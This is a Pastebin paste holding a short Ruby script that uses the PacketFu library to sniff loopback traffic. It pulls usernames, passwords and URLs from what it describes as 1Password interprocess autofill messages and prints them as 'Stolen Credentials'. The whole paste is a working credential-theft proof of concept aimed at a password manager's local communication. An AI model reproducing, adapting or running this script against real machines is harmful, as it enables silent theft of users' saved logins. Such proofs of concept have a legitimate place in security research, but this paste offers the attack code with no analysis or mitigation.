Advertisement
Guest User

Untitled

a guest
May 19th, 2016
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.72 KB | None | 0 0
  1. # Path setting slight of hand:
  2. $: << File.expand_path("../../lib", __FILE__)
  3. require 'packetfu'
  4. require 'json'
  5.  
  6. capture_thread = Thread.new do
  7. cap = PacketFu::Capture.new(:iface => 'lo0', :start => true)
  8. cap.stream.each do |p|
  9. pkt = PacketFu::Packet.parse p
  10. if pkt.payload.include?("executeFillScript")
  11. parsed_json = JSON.parse(pkt.payload.match(/{"action.*/)[0])
  12.  
  13. username = parsed_json["payload"]["script"][1][2]
  14. password = parsed_json["payload"]["script"][3][2]
  15. url = parsed_json["payload"]["url"]
  16.  
  17. puts "[+] Stolen Credentials: user(#{username}), password(#{password}), url(#{url})"
  18. end
  19. end
  20. end
  21.  
  22. puts "Listening for 1Password interprocess traffic on loopback..."
  23. capture_thread.join
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement